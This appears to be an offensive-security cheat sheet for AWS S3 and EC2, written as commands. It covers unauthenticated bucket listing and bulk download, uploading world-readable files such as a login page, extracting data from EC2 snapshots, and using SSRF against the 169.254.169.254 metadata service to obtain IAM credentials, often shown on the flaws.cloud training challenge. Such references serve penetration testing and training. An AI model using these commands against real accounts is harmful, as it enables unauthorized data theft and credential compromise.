Amazon Bucket S3 AWS

Summary

AWS Configuration

Prerequisites, at least you need awscli

```
sudo apt install awscli
```

You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/

```
aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]
```

```
aws configure --profile nameofprofile
```

then you can use --*profile nameofprofile* in the aws command.

Alternatively you can use environment variables instead of creating a profile.

```
export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=
```

Open Bucket

By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names

```
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
https://buckets.grayhatwarfare.com/
```

Their names are also listed if the listing is enabled.

```
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
```

Alternatively you can extract the name of inside-site s3 bucket with `%C0`. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)

```
http://example.com/resources/id%C0

eg: http://redacted/avatar/123%C0
```

Basic tests

Listing files

```
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
```

You can get the region with a dig and nslookup

```
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud.    5    IN    A    52.218.192.11

$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```

Move a file into the bucket

```
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
aws s3 cp login.html s3://$bucketName --grants
read=uri=http://acs.amazonaws.com/groups/global/AllUsers
```

```
aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error
(AccessDenied) occurred when calling the PutObject operation: Access Denied."
```

```
aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
```

Download every things

```
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-
request --region us-west-2
```

Check bucket disk size

Use `--no-sign` for un-authenticated check.

```
aws s3 ls s3://<bucketname> --recursive  | grep -v -E "(Bucket: |Prefix: 
|LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" 
MB"}'
```

AWS - Extract Backup

```
$ aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",


$ aws --profile profile_name ec2 describe-snapshots
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-
west-2
"SnapshotId": "snap-XXXX342abd1bdcb89",

Create a volume using snapshot
$ aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-
west-2  --snapshot-id  snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
$ chmod 400 YOUR_KEY.pem
$ ssh -i YOUR_KEY.pem  ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com

Mount the volume
$ lsblk
$ sudo file -s /dev/xvda1
$ sudo mount /dev/xvda1 /mnt
```

Bucket juicy data

Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :

```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
will return the AccessKeyID, SecretAccessKey, and Token
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
```

For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

References

- There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis
- Bug Bounty Survey - AWS Basic test
- flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route
- flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route
- Guardzilla video camera hardcoded AWS credential - 0dayallday.org
- AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity
- AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity
- A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019